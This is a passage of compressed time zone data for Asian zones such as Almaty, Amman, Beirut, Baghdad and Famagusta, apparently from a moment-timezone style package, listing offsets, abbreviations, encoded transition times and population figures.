1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|41e5","Asia/Almaty|LMT +05 +06 +07|-57.M -50 -60 -70|012323232323232323232321232323232323232323232323232|-1Pc57.M eUo7.M 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0|15e5","Asia/Amman|LMT EET EEST +03|-2n.I -20 -30 -30|0121212121212121212121212121212121212121212121212121212121212121212121212121212121212123|-1yW2n.I 1HiMn.I KL0 1oN0 11b0 1oN0 11b0 1pd0 1dz0 1cp0 11b0 1op0 11b0 fO10 1db0 1e10 1cL0 1cN0 1cL0 1cN0 1fz0 1pd0 10n0 1ld0 14n0 1hB0 15b0 1ip0 19X0 1cN0 1cL0 1cN0 17b0 1ld0 14o0 1lc0 17c0 1io0 17c0 1io0 17c0 1So0 y00 1fc0 1dc0 1co0 1dc0 1cM0 1cM0 1cM0 1o00 11A0 1lc0 17c0 1cM0 1cM0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 4bX0 Dd0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 LA0 1C00|25e5","Asia/Anadyr|LMT +12 +13 +14 +11|-bN.U -c0 -d0 -e0 -b0|01232121212121212121214121212121212121212121212121212121212141|-1PcbN.U eUnN.U 23CL0 1db0 2q10 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 2sp0 WM0|13e3","Asia/Aqtau|LMT +04 +05 +06|-3l.4 -40 -50 -60|012323232323232323232123232312121212121212121212|-1Pc3l.4 eUnl.4 24PX0 2pX0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0|15e4","Asia/Aqtobe|LMT +04 +05 +06|-3M.E -40 -50 -60|0123232323232323232321232323232323232323232323232|-1Pc3M.E eUnM.E 23CL0 3Db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0|27e4","Asia/Ashgabat|LMT +04 +05 +06|-3R.w -40 -50 -60|0123232323232323232323212|-1Pc3R.w eUnR.w 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0|41e4","Asia/Atyrau|LMT +03 +05 +06 +04|-3r.I -30 -50 -60 -40|01232323232323232323242323232323232324242424242|-1Pc3r.I eUor.I 24PW0 2pX0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 2sp0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0|","Asia/Baghdad|LMT BMT +03 +04|-2V.E -2V.A -30 -40|0123232323232323232323232323232323232323232323232323232|-3eLCV.E 18ao0.4 2ACnV.A 11b0 1cp0 1dz0 1dd0 1db0 1cN0 1cp0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1de0 1dc0 1dc0 1dc0 1cM0 1dc0 1cM0 1dc0 1cM0 1dc0 1dc0 1dc0 1cM0 1dc0 1cM0 1dc0 1cM0 1dc0 1dc0 1dc0 1cM0 1dc0 1cM0 1dc0 1cM0 1dc0 1dc0 1dc0 1cM0 1dc0 1cM0 1dc0 1cM0 1dc0|66e5","Asia/Qatar|LMT +04 +03|-3q.8 -40 -30|012|-21Jfq.8 27BXq.8|96e4","Asia/Baku|LMT +03 +04 +05|-3j.o -30 -40 -50|01232323232323232323232123232323232323232323232323232323232323232|-1Pc3j.o 1jUoj.o WCL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 1cM0 9Je0 1o00 11z0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|27e5","Asia/Bangkok|LMT BMT +07|-6G.4 -6G.4 -70|012|-3D8SG.4 1C000|15e6","Asia/Barnaul|LMT +06 +07 +08|-5z -60 -70 -80|0123232323232323232323212323232321212121212121212121212121212121212|-21S5z pCnz 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 p90 LE0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3rd0|","Asia/Beirut|LMT EET EEST|-2m -20 -30|0121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3D8Om 1BWom 1on0 1410 1db0 19B0 1in0 1ip0 WL0 1lQp0 11b0 1oN0 11b0 1oN0 11b0 1pd0 11b0 1oN0 11b0 q6N0 En0 1oN0 11b0 1oN0 11b0 1oN0 11b0 1pd0 11b0 1oN0 11b0 1op0 11b0 dA10 17b0 1iN0 17b0 1iN0 17b0 1iN0 17b0 1vB0 SL0 1mp0 13z0 1iN0 17b0 1iN0 17b0 1jd0 12n0 1a10 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0|22e5","Asia/Bishkek|LMT +05 +06 +07|-4W.o -50 -60 -70|012323232323232323232321212121212121212121212121212|-1Pc4W.o eUnW.o 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2e00 1tX0 17b0 1ip0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1cPu 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0|87e4","Asia/Brunei|LMT +0730 +08 +0820 +09|-7l.k -7u -80 -8k -90|0123232323232323242|-1KITl.k gDbP.k 6ynu AnE 1O0k AnE 1NAk AnE 1NAk AnE 1NAk AnE 1O0k AnE 1NAk AnE pAk 8Fz0|42e4","Asia/Kolkata|LMT HMT MMT IST +0630|-5R.s -5R.k -5l.a -5u -6u|01234343|-4Fg5R.s BKo0.8 1rDcw.a 1r2LP.a 1un0 HB0 7zX0|15e6","Asia/Chita|LMT +08 +09 +10|-7x.Q -80 -90 -a0|012323232323232323232321232323232323232323232323232323232323232312|-21Q7x.Q pAnx.Q 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3re0|33e4","Asia/Choibalsan|LMT +07 +08 +10 +09|-7C -70 -80 -a0 -90|0123434343434343434343434343434343434343434343424242|-2APHC 2UkoC cKn0 1da0 1dd0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 6hD0 11z0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 3Db0 h1f0 1cJ0 1cP0 1cJ0|38e3","Asia/Shanghai|LMT CST CDT|-85.H -80 -90|012121212121212121212121212121|-2M0U5.H Iuo5.H 18n0 OjB0 Rz0 11d0 1wL0 A10 8HX0 1G10 Tz0 1ip0 1jX0 1cN0 11b0 1oN0 aL0 1tU30 Rb0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0|23e6","Asia/Colombo|LMT MMT +0530 +06 +0630|-5j.o -5j.w -5u -60 -6u|012342432|-3D8Rj.o 13inX.Q 1rFbN.w 1zzu 7Apu 23dz0 11zu n3cu|22e5","Asia/Dhaka|LMT HMT +0630 +0530 +06 +07|-61.E -5R.k -6u -5u -60 -70|01232454|-3eLG1.E 26008.k 1unn.k HB0 m6n0 2kxbu 1i00|16e6","Asia/Damascus|LMT EET EEST +03|-2p.c -20 -30 -30|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212123|-21Jep.c Hep.c 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1xRB0 11X0 1oN0 10L0 1pB0 11b0 1oN0 10L0 1mp0 13X0 1oN0 11b0 1pd0 11b0 1oN0 11b0 1oN0 11b0 1oN0 11b0 1pd0 11b0 1oN0 11b0 1oN0 11b0 1oN0 11b0 1pd0 11b0 1oN0 Nb0 1AN0 Nb0 bcp0 19X0 1gp0 19X0 3ld0 1xX0 Vd0 1Bz0 Sp0 1vX0 10p0 1dz0 1cN0 1cL0 1db0 1db0 1g10 1an0 1ap0 1db0 1fd0 1db0 1cN0 1db0 1dd0 1db0 1cp0 1dz0 1c10 1dX0 1cN0 1db0 1dd0 1db0 1cN0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1db0 1cN0 1db0 1cN0 19z0 1fB0 1qL0 11B0 1on0 Wp0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0|26e5","Asia/Dili|LMT +08 +09|-8m.k -80 -90|01212|-2le8m.k 1dnXm.k 1nfA0 Xld0|19e4","Asia/Dubai|LMT +04|-3F.c -40|01|-21JfF.c|39e5","Asia/Dushanbe|LMT +05 +06 +07|-4z.c -50 -60 -70|012323232323232323232321|-1Pc4z.c eUnz.c 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2hB0|76e4","Asia/Famagusta|LMT EET EEST +03|-2f.M -20 -30 -30|0121212121212121212121212121212121212121212121212121212121212121212121212121212121212312121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-1Vc2f.M 2a3cf.M 1cL0 1qp0 Xz0 19B0 19X0 1fB0 1db0 1cp0 1cL0 1fB0 19X0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1o30 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 15U0 2Ks0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 